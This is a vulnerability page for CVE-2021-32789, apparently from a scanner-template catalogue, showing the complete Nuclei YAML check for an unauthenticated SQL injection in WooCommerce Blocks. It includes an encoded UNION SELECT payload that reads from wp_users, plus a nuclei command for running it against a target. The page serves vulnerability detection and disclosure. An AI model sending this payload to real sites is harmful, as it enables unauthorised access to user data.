Browse / CVEs / CVE-2021-32789
CVE-2021-32789· automattic / woocommerce blocks· CWE-89
WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection
woocommerce-gutenberg-products-block is a feature plugin for WooCommerce Gutenberg Blocks. An SQL injection vulnerability impacts all WooCommerce sites running the WooCommerce Blocks feature plugin between version 2.5.0 and prior to version 2.5.16. Via a carefully crafted URL, an exploit can be executed against the `wc/store/products/collection-data?calculate_attribute_counts[][taxonomy]` endpoint that allows the execution of a read only sql query. There are patches for many versions of this package, starting with version 2.5.16. There are no known workarounds aside from upgrading.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the affected system.
Fix
Update WooCommerce Blocks to version 5.6 or later to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%2525…
Positive when: contains "sqli-test" and "attribute_counts" and "price_range" and "term" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2021-32789 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-32789
info:
name: WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection
author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot
severity: high
description: |
woocommerce-gutenberg-products-block is a feature plugin for WooCommerce Gutenberg Blocks. An SQL injection vulnerability impacts all WooCommerce sites running the WooCommerce Blocks feature plugin between version 2.5.0 and prior to version 2.5.16. Via a carefully crafted URL, an exploit can be executed against the `wc/store/products/collection-data?calculate_attribute_counts[][taxonomy]` endpoint that allows the execution of a read only sql query. There are patches for many versions of this package, starting with version 2.5.16. There are no known workarounds aside from upgrading.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the affected system.
remediation: |
Update WooCommerce Blocks to version 5.6 or later to mitigate the vulnerability.
reference:
- https://woocommerce.com/posts/critical-vulnerability-detected-july-2021
- https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx
- https://securitynews.sonicwall.com/xmlpost/wordpress-woocommerce-plugin-sql-injection/
- https://wpscan.com/vulnerability/0f2089dc-9376-4d7d-95a2-25c99526804a
- https://nvd.nist.gov/vuln/detail/CVE-2021-32789
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-32789
cwe-id: CWE-89
epss-score: 0.17227
epss-percentile: 0.97122
cpe: cpe:2.3:a:automattic:woocommerce_blocks:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: automattic
product: woocommerce_blocks
framework: wordpress
tags: cve2021,cve,wordpress,woocommerce,sqli,wp-plugin,wp,wpscan,automattic,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
matchers-condition: and
matchers:
- type: word
words:
- 'sqli-test'
- 'attribute_counts'
- 'price_range'
- 'term'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200References
- https://woocommerce.com/posts/critical-vulnerability-detected-july-2021
- https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx
- https://securitynews.sonicwall.com/xmlpost/wordpress-woocommerce-plugin-sql-injection/
- https://wpscan.com/vulnerability/0f2089dc-9376-4d7d-95a2-25c99526804a
- https://nvd.nist.gov/vuln/detail/CVE-2021-32789
Use this check only on systems you are authorised to test. Where the data comes from